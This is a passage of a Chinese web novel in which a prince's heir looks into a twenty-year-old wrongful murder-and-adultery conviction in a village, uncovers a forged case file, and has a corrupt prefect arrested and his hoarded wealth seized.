这也不过是腐朽社会中,不起眼的一例罢了。 “不算,回头全杀了。” ...... 溪林村西头,土墙矮院。 林臻抬手示意身后策马跟随的橙萱停下。 眼前这间土坯房比起郑婆子家更显破败,柴门半掩,院内一个头发花白稀疏、筋骨嶙峋的老汉正佝偻着背坐在矮凳上,粗糙的手指异常灵活地翻飞着,将灰绿的细竹篾编成一个小簸箕。 夕阳的余晖落在他沟壑纵横的脸上,透着一种被岁月打磨后的麻木。 林臻下马,将缰绳随手递给橙萱,放轻脚步走进半掩的柴门。 橙萱依葫芦画瓢,牵着两匹马,警惕地四下扫视,竖起的耳朵捕捉着任何一丝异动。 “老人家,打扰了。”林臻在院中站定,声音不大,却足以让专注于编织的王老汉手下一滞。 王老汉缓缓抬起头,昏黄的眼珠透过额前垂落的几缕灰白发丝,迟钝地聚焦在眼前这个陌生却衣着不凡的年轻人脸上。 他没立刻起身,浑浊的目光里带着乡民惯有的疏离和一丝不易察觉的警惕。 视线掠过林臻身后的橙萱,在她腰间看似普通的佩剑上顿了顿,脸上的戒备更深了。 “做甚?”老汉的声音沙哑干涩,如同破旧的风箱。 “向您打听个人,打听点旧事。”林臻放慢语速,语气平和,“溪林村的郑家,郑元德和他媳妇柳氏,您可还记得?” “郑家?”这两个字像是投入死水潭的石子,在王老汉麻木的脸上激起了一道短暂的涟漪,但很快又归于沉寂。 他低下头,继续手中的编织,动作却比之前僵硬了几分,布满老人斑的手背上青筋凸起。 “有啥好打听的,坟头草都长三尺高了。”他含混地嘟囔着,目光刻意避开林臻的注视,只盯着手中飞速穿梭的竹篾,“杀爹的孽障,扒灰的贱妇,县大老爷早就钉死的事,牌坊立在那儿……都瞎了吗?” 他的语调平板,没有任何情绪起伏,像在复述一个与自己毫不相干、天经地义的事实。 但橙萱敏锐地捕捉到,当他说“通奸的贱妇”时,那浑浊的眼底飞快掠过一丝难以言喻的厌恶,甚至……羞耻? 仿佛提到这个词本身都玷污了他脚下的泥土。 “听说郑元德是个老实巴交的庄稼人?”林臻试探着追问细节。 “老实?呸!”王老汉猛地往地上啐了口浓痰,竹篾在他手中被捏得“嘎吱”作响, “老实人能干出杀爹的勾当?老话说,没有爹娘不成人!县大老爷明镜高悬,铁笔判的案子,还能有假?” 他抬起头,混浊的眼中第一次流露出一种近乎固执的坚决,“那牌坊立得对!杀鸡儆猴!省得村子里的后生学了坏!” 说完,他再也不看林臻,彻底低下头去,手上的编织动作重新变得流畅,但明显带上了一种拒人千里之外的隔绝感。 意思很明白:问完了?问完了就滚。 橙萱站在林臻身后,牙关紧咬。 这老汉的每一句话都像在往幽梦父母尸骨上踩一脚。 什么铁笔? 什么明镜高悬? 那个狗官早已罪行滔天! 她胸中的火气直往上冲,按在剑柄上的手微微发颤。 林臻面色沉静,没有再追问,只是对王老汉微微颔首:“打扰了。”转身走出了这个小院。 “哼!”橙萱重重地对着王老汉背影哼了一声,才牵着马跟上林臻。 离开压抑的王家,两人走向村子更南边、靠近小河的一处院落。 这家小院收拾得异常干净,院角开着几丛野花,篱笆也编得整整齐齐,在灰败的村落里显得格格不入。 院门开着一位年纪更大、背驼得几乎要贴到地上的老妪,穿着浆洗得发白的粗布衣裳,坐在屋门槛上,怀里抱着个襁褓,枯瘦的手指正一下下轻轻拍打着。 她的脸深深埋在阴影里,只能看到花白稀疏的头发垂落在耳侧。 屋内昏暗的神龛前,点着一柱细细的土香,微弱的红光映照着她半边木然的脸。 林臻走到近前,离老妪两步远停下,提高了音量,带着一丝刻意的温和:“老人家?” 拍打襁褓的枯手停顿了一下,似乎没听见。 “老人家!”林臻声音又大了一些。 老妪缓缓地、极其缓慢地抬起头。 一张脸皱得像风干的核桃皮,眼神空洞,仿佛蒙着一层厚厚的白翳,茫然地在林臻和橙萱脸上来回扫视,没有焦距。 她咧开没牙的嘴,发出含混不清的声音,带着浓重的本地口音:“谁呀?” “跟您打听点事,溪林村的郑家,二十多年前的……” “郑?”老妪歪着头,浑浊的眼珠努力转动着,像是在记忆的深渊里艰难地打捞着什么碎片。 “郑什么?” 她喃喃自语,眉头紧锁,布满老年斑的手无意识地在襁褓上抓挠了几下。 “郑元德!柳氏!”林臻有些不耐烦,大声提醒。 “元德?柳氏?”老妪脸上的困惑更浓,嘴里发出无意义的“嗬……嗬……”声。 她忽然转头望向神龛上那柱燃烧的线香,目光仿佛穿透了烟雾,定格在虚空中的某处,眼神里充满了浑浊的迷茫和一丝恐惧? “作孽……作孽哦……” “老人家,您和我们说说呗?”林臻忍不住靠前几步。 第604章 抹杀真相,扭曲记忆 老妪猛地一哆嗦,像是被什么无形的毒虫蛰了一下,身体猛地蜷缩起来,浑浊的眼睛里骤然迸发出强烈的恐惧! 她下意识地把怀里的“襁褓”(其实只是一团破布)死死搂紧,枯瘦的身体剧烈颤抖起来,喉咙里发出急促的抽气声: “不……不说……不能说……官差抓人……血……好多的血……不要抓我儿子!他没有,没有……” 她语无伦次,情绪激动,干瘪的胸膛急剧起伏,抱着“襁褓”如同溺水者抱住浮木。 “走开!走开啊!!”她突然对着林臻的方向胡乱挥舞起枯瘦的手臂,尖利的指甲差点划林臻的脸。 浑浊的眼睛彻底被巨大的、毫无缘由的恐慌填满,仿佛眼前站着的不是陌生人,而是索命的厉鬼。 林臻往后退了两步。 橙萱原本紧绷的脸瞬间软化,看着那因年代久远记忆碎片错乱而惊恐万分的老妇人,看着那象征着守护的“襁褓”姿势,心中涌起一股巨大的悲凉和无力。 她那积压的怒火像是被这可怜又疯癫的景象浇灭了大半,只余下沉重如铅的酸涩,堵在心口,闷得发慌。 她默默收回了按在剑柄上的手,垂在身侧。 林臻稍微离远了些,蹲下身,声音放得极其轻柔,带着安抚的力量:“阿婆不怕,没事了,官差走了,没人抓人,我们是过路的,来看看您,您安心歇着吧。” 说着,林臻伸手过去,拍了拍她的手背。 奇异地,感受到手背上温热的触感和林臻温和的声音,老妪激烈的动作逐渐平息下来,紧紧箍着“襁褓”的手臂放松了些许。 她浑浊的眼珠茫然地转了转,焦点涣散,不再看向林臻,而是抱着“襁褓”,歪着头靠在门框上,很快又恢复了先前那副呆滞木然的雕塑状态,嘴里反复咕哝着几个模糊的音节:“作孽……作孽哦……” 林臻沉默地站起身,对着屋内角落隐约可见的一个年轻妇人(或许是孙阿婆的孙媳)点了下头,留下些银钱放在门槛内侧。 妇人惊恐地低头致谢,不敢多看一眼。 走出孙家小院,橙萱牵着马跟在后头,低着头,情绪低落到了极点。 王老汉的愚昧麻木,孙阿婆记忆混乱的恐惧,紧紧揪住了她对真相的渴望。 她终于明白林臻为何一开始阻拦她砸牌坊。 一个牌坊,一张官府的判决书,其威力竟能让一村之人沉默失语二十年! 抹杀真相,扭曲记忆! 这无形的枷锁,沉重得让人窒息。 夕阳彻底沉入西山,黑暗如同浓稠的墨汁,迅速吞噬了整个溪林村。 那座巨大的石牌坊在暮色中隐去狰狞的轮廓,只留下一个更加庞大、更加令人心悸的、笼罩着整个村落的巨大阴影。 就在林臻与橙萱准备打马离开这令人窒息之地时,一个佝偻的身影拄着柴杖,跌跌撞撞地从一条昏暗狭窄的巷子深处追了出来! 是郑婆子! 她追到村口,离那牌坊阴影不远处的岔道上停下,大口喘着粗气。 混浊的老眼在暮色中急切地扫视着已经上马的林臻和橙萱,那眼神里不再有初见时的惊惧,反而燃烧着一种破釜沉舟、豁出去一切的炙热光亮。 她不顾气促,对着林臻的方向用力地挥舞着枯柴般的手臂,声音嘶哑地喊道: “公子!小姐!请等一等!!” 郑婆子枯瘦的身体在初降的暮色中剧烈地颤抖,每一声喘息都带着风箱般的嘶鸣。 她拄着那根粗糙的柴棍,深一脚浅一脚地追到村口岔道,离那座在昏暗中愈发显得如巨兽蛰伏的石牌坊不过数十步之遥。 浑浊的老眼急切地扫过已经骑上马背的林臻和橙萱,那眼神里竟不再有初次见面时的惊惧与试探,反而燃烧着一种近乎疯狂的、孤注一掷的决绝光芒! “公子!小姐!请等一等!!”她用尽全身力气嘶喊出声,声音撕裂着寂静的暮气,惊得旁边枯树上两只昏鸦“扑棱棱”飞起。 林臻正要扬鞭的手停在半空,锐利的目光投向那佝偻的身影。 橙萱也勒紧缰绳,疑惑又带着一丝隐秘期盼地看向这位哭诉过真相的老人。 郑婆子见二人真的停下,喘着粗气,步履蹒跚地小跑到林臻马前几步远的地方才停下。 她甚至没顾上擦额角滚落的汗珠,双手死死攥着那根作为支撑的柴棍,指节泛白。 她仰起脸,昏暗中那张布满深深褶皱的脸上,交织着巨大的挣扎、痛苦以及一种豁出去的勇气。 “公子……小姐……”她气息未匀,声音干涩得厉害,“有些事……老婆子先前没敢说全!”她的声音里充满了恐惧的余悸。 “没敢说全?”林臻俯视着她,声音平静,带着一种无形的压力,“老人家,还有什么隐情?但说无妨,我为你做主。” 郑婆子被这声线里蕴含的沉稳力量刺激到,浑浊的眼睛里泪光闪烁。 她猛地吸了一口气,仿佛是溺水者抓住最后一根稻草,浑浊的眼睛死死盯着林臻: “是娃娃!公子!是那个小娃娃啊!!”她的声音陡然拔高,带着一种哭腔,枯瘦的手指向虚空比划着,仿佛要抓住什么看不见的东西,“柳氏生的那个小儿子!叫……叫阿壮的!” 幽梦的弟弟! 橙萱的心脏猛地一跳! 在郑婆子之前的讲述中,那场血腥惨剧的最后,幽梦带着年幼的弟弟逃离了村子。 此刻郑婆子突然重提那个孩子…… “阿壮,当年郑大郎夫妇被抓走那天……” 郑婆子的身体因为极度的恐惧和后怕而剧烈颤抖起来,她左右张望了一下,仿佛怕被什么东西听见,声音压得极低,却带着撕裂般的悲怆: “那些天杀的官差,他们不仅抓了大人,连那个还在襁褓里的娃儿都不放过啊!!他们……他们要杀人灭口!!” “什么?!”橙萱只觉得一股寒气从脚底板直冲头顶! 连婴儿都不放过?! 她眼中的怒火瞬间转为彻骨的冰寒与杀意! 第605章 一巴掌抽飞官差 林臻的眼神骤然收缩,如同冰晶碎裂的寒渊:“继续说!” 郑婆子涕泪横流:“是,老婆子我那天偷偷躲在院子旁边的草垛后面!我看见他们把柳氏拖出来的时候,那娃儿就掉在冰冷的泥地里哇哇大哭,一个官差,那个穿着皂衣、一脸横肉的官差头子……他就说……” 郑婆子的声音因为恐惧而扭曲,模仿着那个官差的冰冷口吻: “‘这崽子留着就是祸害!省得将来给爹娘翻案!顺手砍了!丢河里喂鱼!’” 她的话如同淬毒的匕首,狠狠捅进了橙萱的心窝! 让她眼前瞬间发黑,牙齿咬得咯咯作响! 杀人父母,还要斩草除根! 这已经不是贪赃枉法!这是灭绝人性! “然后……然后……”郑婆子上气不接下气,身体抖得如同风中落叶,“那狗官差,他真的就举起了刀,明晃晃的鬼头刀啊!朝着地上的娃娃就……” 她做了一个往下劈砍的手势,痛苦得无法再说下去。 “死了?!”橙萱的声音因极度愤怒而尖利得几乎破了音,心脏被一只无形的手狠狠攥紧! “没……没有死!”郑婆子猛地摇头,急切的语气打断了橙萱的绝望。 她浑浊的眼睛里闪过一丝后怕至极又极其庆幸的光芒:“是老天爷开了眼啊!就在那时!一道灰影子不知道从哪里窜出来!快得像一道风,一巴掌就把那拿刀的官差给扇飞了!重重撞在墙上!晕死了过去!” 林臻与橙萱面面相觑。 灰影子? 一巴掌抽飞官差? 郑婆子的声音带着一种劫后余生的激动: “那人披着一件灰扑扑的带兜帽的袍子,根本看不清脸,手脚利落得不像个人!他一把抄起地上的娃娃……另一只手好像还在地上抹了把土还是血?涂在那个晕过去的官差脸上。” 她声音压得更低,充满了神秘与敬畏: “然后他看了我藏身的草垛一眼……那眼神……冷的吓人!像刀一样!他什么都没说,抱着孩子一翻墙就不见了!跟鬼影似的!” “后来那些官差都吓傻了,以为是郑大郎家的冤魂显灵,加上他们忙着处理尸体和押送柳氏回县衙,也就再没提那娃娃的事,只当是被野狗叼走了,或者被那人打死了……” 郑婆子说到这里,长长地、极其沉重地叹息一声,脸上是挥之不去的后怕: “老婆子没敢对人说过,一个字都不敢提!那是要命的事啊!怕被官差知道了要我这老婆子的命!也怕连累了那灰衣人!更怕给那个可怜的娃娃再招来杀身之祸!这些年每看到那牌坊……我这老婆子心里就堵得喘不上气。我对不起大郎,对不起柳氏啊!” 她猛地抬起头,枯瘦的手指颤抖着指向那座在暮色中愈发森然的巨大牌坊,又指向村外那片荒凉的原野,声音里充满了哀求与最后一点微弱的希望: “但是公子!今天您来了!您问起这事了!您看起来不一样!老婆子这把老骨头就算今天交代在这儿,我也认了!我只求公子您一句话!” 她的目光如同燃烧的炭火,死死盯住林臻: “那娃娃他后来被谁救走了?他还还活着吗?阿刁那丫头找到她弟弟了吗?!” 阿刁,应该就是幽梦曾经的名字。 月光爬上树梢,冰冷的清辉洒在郑婆子布满泪痕、写满希冀的脸上,也照亮了林臻眼中急剧翻涌的复杂风暴。 灰衣人! 神秘的灰衣高手! 在官府屠刀下救走婴儿! 甚至刻意抹去踪迹,威慑官差! 这哪里是普通人?! 这分明是顶尖高手所为! 甚至……可能出自某个极为隐秘的组织! 幽梦……她知道弟弟可能还活着吗? 她的母亲知道吗? 天道在这件事里,又扮演了什么样的角色? 一连串的疑问如同冰冷的潮水,瞬间冲垮了林臻心中原本清晰的界限。 他本以为这只是揭开一桩地方官员制造的陈年冤案,却万万没想到,潭底之下,竟是如此幽深复杂、甚至牵扯到神秘势力! “老人家放心,”林臻的声音异常低沉,仿佛每一个字都在与无形的压力对抗,却带着沉甸甸的力量,稳稳托住了郑婆子悬在绝望悬崖边的心,“你今日所言,价值千金!我都记下了!阿壮的下落,我一定会查个水落石出!至于阿刁……” 他看向京城的方向,眼神深邃而坚定: “等我带她回来!她会亲耳听到关于她父母的真相,以及她弟弟还活着的可能!” “好!那就好!但愿我老婆子还能看到那一天!”郑婆子佝偻着腰,像是说尽了临终遗言那样,转身离开。 溪林村最后的余晖沉入西山,暮色如铅,沉沉压住低矮的屋脊。 林臻叹了口气,与橙萱一起准备离开村子。 但心里的压抑始终挥之不去。 郑婆子压抑了二十年的哭诉仍萦绕在两人耳畔,混合着老槐树下孩童被匆匆拽回、木门紧闭的刺耳吱嘎声,空气粘稠得令人窒息。 橙萱紧握缰绳,枣红马不安地喷着鼻息,蹄铁踏在坑洼土路上发出沉闷回响。 “去沧州。”林臻的声音划破凝固的死寂,冷得如同塞外的冰棱。 他目光穿透渐浓的夜色,锁死东北方向那片灯火隐约之地。 ...... 一夜疾驰,马蹄裹着朔风与尘土抵达沧州城下时,天边刚泛起一层黯淡的鱼肚白。 沧州城楼厚重如蹲伏的巨兽,雉堞在晨曦中露出锯齿般狰狞的轮廓。 城门前已排起等待入城的稀疏长队,贩夫走卒呵着白气。 而当林臻一骑当先,腰牌一亮,城楼上的守卒借着微光看清那枚黑金蟠龙纹的瞬间,惊骇的呼号立刻撕破拂晓的宁静。 “世子——开闸!快开正门闸!” 沉重包铜的木闸在令人牙酸的绞盘声中被高高拉起,巨大的阴影掠过地面。 林臻马不停蹄,踏着未完全敞开的门缝直冲而入,铁蹄在空荡的青石主街上撞出惊雷般的回音,两侧惊起的摊贩、宿醉的酒徒、巡逻的差役无不慌忙避让。 他的黑氅在疾风中烈烈翻卷,如一道裹挟寒霜的墨色雷霆,径直劈向城心那座被高墙深院拱卫的府衙。 第606章 卷宗 沧州太守府衙,雄踞于城中轴,五进七重的院落盘踞了整条坊市。 两尊丈高黑玉麒麟镇守正门,目露凶光,门楣高悬“肃清海岱”御赐金匾,朱漆大门需四名壮丁合力方能推开。 此时未至卯时,照理应是府衙初醒、点卯备勤的时辰。 然而此刻府门前竟是水泼不进! 府衙门前广坪已被紧急驱赶得空无一人。 近百名皂衣衙役、青袍属官、乃至紫带捕头密密麻麻跪满了整个庭院,鸦雀无声,连呼吸都屏至最微。 为首一人,身着簇新仙鹤衔芝石青补服,正是沧州太守陈昌黎。 他年近六旬,保养得宜的脸此刻泛着不正常的油光,精心修剪的胡须微微颤抖。 听到那由远及近、如同催命符般精准响起的马蹄声,他猛地一抬衣袖: “伏迎世子殿下!” 上百人齐刷刷以头抢地,“咚”一声闷响震荡青石地砖! 林臻勒马收缰,巨大的黑骏人立而起,发出一声震耳嘶鸣,四蹄轰然落定于跪拜的人群前一步之遥,激起的尘埃扑上最前排官员的帽缨,却无一人敢稍动分毫。 林臻端坐马背,逆着初升的日光投下俯视众生的冷硬剪影,声音穿透死寂: “起来吧。”三个字,无温无愠。 陈昌黎几乎是连滚爬带地抢先弹起,佝偻着腰小跑至林臻马侧,那张堆满谄笑的老脸抬得恰到好处,既显恭敬又不露过分谄媚:“沧州太守陈昌黎,叩见世子!” “世子亲临,实乃沧州百官万民之幸!下官闻讯晚矣,匆忙间迎候不周,死罪死罪!还请世子殿下先移步后堂雅舍小憩,解鞍乏,略备薄茶润喉……” 他语速极快,每个字都浸透了谦卑与迫不及待的讨好,肥胖的身躯因喘息微微起伏。 “不必。” 林臻翻身下马,动作利落干脆,黑氅甩出一道冰冷的弧线,径直越过伏地的人群向内走去。 “现在去卷宗库。带路。” 陈昌黎脸上的笑容瞬间僵硬凝固。 一层细密的冷汗瞬间浸透了他崭新的交领内衫,紧贴后脊冰凉一片。 卷宗库? 去那鸟不拉屎的地方干什么? 一股带着陈腐血腥气的寒意悄然爬上他的脊椎骨。 府衙深处的卷宗库院,独处衙府西翼最僻静处,常年铁门紧锁,唯有历任太守及掌卷典吏可入。 林臻踏入布满青苔的石板庭院,一股混杂了樟脑、灰尘和纸张腐朽的浓郁气味扑面而来。 院中古槐参天,投下阴森森的浓影,将一座方方正正、无窗只开高顶气孔的厚石建筑笼罩其中。 厚重的包铁门扉已被打开,沉重的链条垂落。 掌卷典吏赵诚早已候在门口,是个脸色苍白、两颊凹陷的中年人,此刻抖如筛糠,手中托着的钥匙串哗啦作响。 陈昌黎抢在林臻前半步,对赵诚厉声喝道:“还不滚开!仔细给世子殿下掌灯引路!” “是……” 幽暗、冰冷的库内空间宛如巨大墓穴。 数丈高的黑铁木架子,如同沉默的巨人行列,其上密麻麻塞满了纸色枯黄、线装散乱的卷宗册,层层叠叠压迫着人的神经。 壁上悬挂的几盏桐油灯只能提供昏黄摇曳的微光,投射出无数扭曲摇曳的阴影。 空气里悬浮着看不见的尘埃微粒,每一次呼吸都带着腐朽的铁锈味。 “世子要查何年何卷?下官立刻命人为您查找……” 陈昌黎的声音在偌大的库房里带着奇异的回音,他的目光在林臻脸上扫过,试图捕捉一丝线索。 心脏在胸腔内擂鼓般撞击,他几乎要忍不住去抹额角滑下的一滴冷汗。 “天龙十七年,”林臻的声音在昏暗中如冷玉相击,清晰得令人心颤,“沧州府治下溪林村,郑元德一案卷宗。” “郑……郑元德?!” 陈昌黎只觉得脑子“嗡”的一声,眼前瞬间发黑! 这三个字如同丧钟在他颅腔里猛烈敲响! 那个尘封在污秽淤泥最深处的名字! 那段被他用权势和伪善强行钉死的历史! 他强忍着瘫软的冲动,喉结艰难地上下滚动几下,挤出嘶哑的声音,带着最后一丝侥幸的试探:“世子怎会突然翻看这等小地方的陈年积案?那案子……那案子乃是二十多年前的旧事,据下官所知早已尘埃落定,卷宗也不甚齐整……” 林臻猛地侧首,眸光如淬了寒冰的利剑,骤然钉在陈昌黎那张因恐慌而扭曲的老脸上! 库房昏暗的光线下,那目光穿透了谄媚的伪装,直刺他灵魂深处的惊惧: “陈太守是在质疑本世子翻阅府衙卷宗的权限?” 每一个字都像冰锥扎进陈昌黎的耳膜。 “不敢!下官万万不敢!”陈昌黎浑身一哆嗦,几乎是趴伏下去,声音变了调,“赵诚!还不快找!所有相关卷宗一片纸都不能少!快!若找不到,本官扒了你的皮!” 他的咆哮在空旷库房回荡,色厉内荏。 赵典吏踉跄着扑向深处一排标着“天保”字样的木架,枯瘦的手脚笨拙,带动满架灰尘扑簌簌下落。 翻箱倒柜声在死寂中格外刺耳。 橙萱站在林臻身后阴影里,佩剑的剑柄已被手心汗水浸得滑腻。 她看着赵诚苍白如鬼的脸,看着陈昌黎袍袖下微微发抖的拳头,看着铁架上那个刻着“郑元德”三个模糊墨字的发黄卷宗袋被翻出……强压的怒火在她胸膛里熔岩般翻滚,每一次呼吸都带着灼痛。 赵诚托着那个异常“干净整洁”的卷宗袋(在一众破旧册本中显得尤为扎眼),抖抖索索送到林臻面前。 林臻抬手,修长的手指抚过那滑腻坚韧的新裱封面,感受着手工劣质宣纸刻意做旧的触感,唇角勾起一丝冰冷的弧度。 他翻开—— 首页纸张雪白挺括,墨迹乌亮如新,格式严谨,字迹却刻意模仿着一丝潦草古拙: “天保十七年季春沧州府报斩重案卷。” 被告:郑元德,男,溪林村人。父:郑有财。 ?罪状: 一、逆伦凶恶,天理难容。?于本月初七夜,因口角微忿,暴起发指,狠心将其生父郑有财大力推搡仆倒,致郑有财头触坚硬供桌角,颅骨崩裂,颅内血涌,须臾毙命!?显系故意杀父,罪大恶极! 二、其妻柳氏,本柳家庄人。?查实该妇秉性淫邪,不守妇道。早与其翁郑有财有苟且之行迹,私相授受,?通奸乱伦,人伦尽丧!实属败坏纲常,罪不容诛!?? ?判:?? 郑元德所犯弑父之逆伦重罪,罪证确凿,依《大乾律·刑律》子殴父致死条,处斩决?!尸悬东门示众三日,以儆效尤! 柳氏所犯淫乱悖伦,通奸翁公之十恶不赦重罪,依《大乾律·刑律》妻妾与人通奸致翁公殒命条,处杖毙?!尸付曝市一日,警诫效尤! ?着即此判,府衙画押用印,永以为例。? 第607章 小官巨贪 下方是几个朱砂指模印记,其中一枚最大,模糊不清,旁边签注:“郑王氏”(幽梦奶奶)及两名“里正”“保甲”的名字。 再后是几份简单的具结书,证人签字龙飞凤舞,内容含糊不清,极力强调“邻里皆知柳氏风评素劣”“郑元德向来忤逆”云云。 验尸格目只有寥寥数笔:“郑有财,后枕骨破裂,脑髓外溢”。 至于原告被告的当堂供述、仵作原始勘验记录、现场图样、邻人关键证词……所有可能触及真相的环节,一概阙如! 整个卷宗如同一件精心打造的赝品,华丽却空洞,只剩下冰冷、强硬、不容置喙的“定谳”结论。 橙萱死死咬住下唇,铁锈味在口中弥漫。 她盯着那份所谓“卷宗”,眼睛充血,每一行字都像烧红的烙铁烫在她的神经上。 那伪造的“通奸”指证,那对幽梦母亲的刻骨污蔑,让她握剑的右手骨节因过度用力而咯咯作响,几乎控制不住就要拔剑劈过去! 她用尽全身力气才抑制住这冲动,指甲深深陷入手心皮肉,留下几个鲜红的月牙印痕,指节因血脉贲张而发出不堪重负的细微?“咔哒”?声。 她猛地抬头看向林臻,眼神充满悲愤与不解。 难道这样的“证据”,就是世子想要的? 恰在此时! 一道如幽灵般的灰影无声无息地飘入卷宗库昏暗的角落,那是林臻的近身暗卫。 他全然无视跪伏在旁的赵诚与面如死灰的陈昌黎,径直贴至林臻耳边,只用三人可闻的气音疾速汇报道: “陈宅秘库已开。掘地丈余,开三重机括暗门,其内囤积:赤足金锭一百六十八方(箱),约两万四千两;成色上等雪花纹官银七万三千余锭,计四十万两;东珠一百三十斛,最大者如龙眼;辽北极品老参、南海血珊瑚树等珍玩不计其数;另有账册七卷,其一为‘私养响马(山匪)开销’,年耗白银五万两……另一卷为‘燕山北(意指北燕)通市货单’,近三年流水十七万两黄金……” 暗卫声音微顿,再加重一分: 每报出一个数字,橙萱的瞳孔就收缩一分。 那“黄金”、“官银”、“东珠”、“血珊瑚”、“七万两”、“五万两”、“十七万两”、“两万四千两”、……这些冰冷的词汇,如同重锤一次次砸在她贫瘠的认知边界! 如此骇人听闻的巨贪! 相比之下,幽梦父母那两条人命在这滔天罪行面前,竟显得如此“微不足道”。 ??“轰——!”?? 暗卫话音未落,陈昌黎肥胖的身躯如同被抽掉了所有骨头,猛地发出一声沉闷的巨响砸在地上! 他脸上的血色如潮水般退得干干净净,嘴唇哆嗦着,双目圆睁,瞳孔因极度的恐惧而涣散失焦! 他终于知道林臻为何而来! 那把悬在头顶二十年、由他亲手铸造却以为早已锈死的屠刀,落下了! “殿……殿下!世子殿下开恩啊!!”一声凄厉得不似人声的哭嚎猛地撕裂库房死寂! 陈昌黎手脚并用地挣扎爬行,沉重的身躯拖着官袍在冰冷青砖上摩擦,如同绝望的蛆虫扑向林臻脚畔。 他涕泪横流,额角重重磕在砖石上砰砰作响,官帽歪斜,花白散乱的头发粘连着血水和涕泪,那张油光满面的老脸被扭曲的恐惧和彻底的崩溃彻底揉烂: “下官知罪了!认罪!求您开恩给条活路!那些……那些都是虚数!没那么多!是……是下面的人欺瞒老臣啊世子!!” 他语无伦次,涕泗横流地想去抱林臻的靴子,却又被那慑人寒气刺得不敢真碰。 “殿下明鉴!老臣守沧州近四十年,没有功劳也有苦劳啊!当年南楚来势汹汹,老臣可是一步都没退!领着阖城兵丁百姓死守城垛!七天七夜不敢合眼啊殿下!” 他抬起头,试图用浑浊的老泪博取一丝怜悯,“老臣在那城墙上滚烫的礌石木桩上坐守七昼夜,落下了一身的冰寒腿疾,每逢阴雨天痛得钻心剜骨啊殿下!!” 他声泪俱下,情真意切,仿佛真是一个含冤受苦的老忠臣。 然而他每磕一个头,橙萱眼中的鄙夷与恶心就更深一分。 她看着那张涕泪糊住的老脸,胃里一阵翻涌。 这就是一地父母官? 这就是手握生杀大权的封疆大吏? 在生死面前,如此卑劣无耻的表演! 林臻居高临下地俯视着脚下如烂泥般瘫软哀嚎的陈昌黎,脸上没有一丝波澜。 那双寒潭般深邃的眸子冰封着足以冻结灵魂的森寒与决绝: “苦劳?”低沉的声音在石壁间回震,每一个字都重若千钧: “若非你这蛀虫掏空沧州府库仓廪,中饱私囊,养寇自重!你沧州当年何至于城防空虚,武备废弛?那一千守城兵士,竟有一半以上兵刃朽坏!士卒三餐不继!城墙上堆得够砸死几个人的礌石?是石头还是沙包?!七日七夜?呵,若非边军第三日便千里驰援!若非这里不是难处主攻方向!你沧州城怕早已化为人间炼狱!你这沧州百姓眼中所谓的青天,早该被吊在城门楼上喂了野狗!” 他的声音陡然拔高,如同惊雷炸响在死寂的库房: “陈昌黎!你贪墨国帑,数额之巨,骇绝人寰!豢养山匪劫掠商旅,欺压百姓!私与敌酋交通,藏匿王帐信物!更因一己私欲贪赃枉法,炮制伪证,构陷无辜,残杀良民!使忠直之士含冤莫白于刀下!贞烈妇人沉沦污名二十载!” 他戟指指向那堆散发着伪造墨香的卷宗,又猛地指向库房之外虚空中那座牌坊: “此等恶贯满盈,罄四海之竹难书!绝乾坤之墨难容!不杀——何以告慰泉下英灵?!何以震慑天下蠹虫?!何以正我大乾煌煌律法之纲常!!!” “拿下!”最后一个字出口,如同巨斧劈落! 库房阴影中蛰伏的四条黑色身影骤然暴起! 快如鬼魅! 两人如铁钳般死死扣住陈昌黎肥胖的手臂关节向上反剪,一人闪电般用膝抵住他疯狂扭蹬的后腰要害,另一人手中粗若儿臂、浸过桐油的特制铁链已经“哗棱”一声套上脖颈,“咔哒”机关脆响中死死咬合! 锁喉、反缚、膝顶下压,整个制伏过程不到一息! 陈昌黎肥胖的身体被死死按趴在冰冷的青砖上,口鼻啃地,所有哭嚎惨叫瞬间被锁链勒为“嗬嗬”的倒气声! “呃……咳……殿下……饶……饶……”陈昌黎面皮酱紫,眼珠突出,口中白沫混着血沫溢出。 周围的赵典吏连同门口偷窥的衙役,早已吓得魂飞魄散,面无人色,匍匐在地瑟瑟发抖。 林臻对那暗卫首领沉声道:“陈昌黎罪证确凿,即刻收押!持我令牌,调沧州卫指挥使带兵封锁城内外各处要道!严查所有与之勾连的属官书吏!沧州府衙所有往来公文账册,即刻封存待查!” 他眼中锐光一闪: “陈宅抄家!其家眷仆役一体拿下!所有财货、契据、文书,着沧州卫会同我暗卫清点造册!清点完毕,装箱造大车,押解——入京!纳入王府内库核查!” 最后几个字斩钉截铁,为这海量财富赋予了明确的流向——王府内库! 这笔钱绝不能给慕容嫣,否则不是做裙子就是作妖。 “遵令!”暗卫首领领命如飞而去。 橙萱看着如待宰肥猪般被拖走的陈昌黎,听着庭院外骤然响起的兵甲碰撞与急促呼喝声。复仇的快意并未如预想般冲上心头,反而像一块巨石投入深潭,激荡起沉重浑浊的波澜。 一个凶手的伏法,扳不回定谳的铁案;一座牌坊的污名,远未洗清。 她抬眼看向林臻:“然后呢?总得给我点活计吧?” “先清点赃款,让冀州刺史、河北道大总管过来见我!” “好。” 橙萱领命出去。 这桩案子,很快就能推翻了。 第608章 聋还是瞎? 沧州府衙,正堂。 气氛凝重得如同暴风雨前的死寂。 冀州刺史李崇文与河北道行军大总管赵怀安,这两位跺跺脚河北道都要震三震的封疆大吏,此刻却如同两尊泥塑木雕,屏息凝神地站在堂下。 李崇文年约五旬,面容儒雅却难掩长途跋涉的疲惫与惊惶,官袍下摆沾着未干的泥点。 赵怀安则与他年龄相仿,身形魁梧,面容刚毅,一身戎装未卸,眉宇间带着军旅磨砺出的英武之气,但此刻也微低着头,目光垂地,不敢直视上首。 上首主位,林臻端坐如渊。 他脸上没有一丝长途奔波的倦色,只有一种深不见底的冰寒。 那份冰寒并非刻意流露的威严,而是源于内心翻腾的怒火被强行压制后形成的极致冷酷。 他手边,是那份从卷宗库取出的、崭新得刺眼的“郑元德案卷宗”。 “啪——!” 一声清脆刺耳的巨响骤然撕裂了死寂! 林臻猛地抓起那本卷宗,手臂一挥,带着凌厉的破空声,狠狠摔在李崇文和赵怀安脚前的青砖地上! 沉重的册页砸落,溅起细微的尘埃,封皮上“天保十七年沧州府报斩重案卷”几个字在昏黄的灯光下显得格外讽刺。 “看看!都给我睁大眼睛看看!”林臻的声音不高,却如同冰锥凿击岩石,每一个字都带着刺骨的寒意, “这就是你们治下!堂堂沧州太守,地方父母官干出来的好事!贪墨国帑,数额之巨,骇人听闻,私通敌酋,藏匿王帐信物,更为了私利,构陷良民,炮制伪证,草菅人命!使忠直之士含冤刀下!贞烈妇人沉沦污名二十载!!” 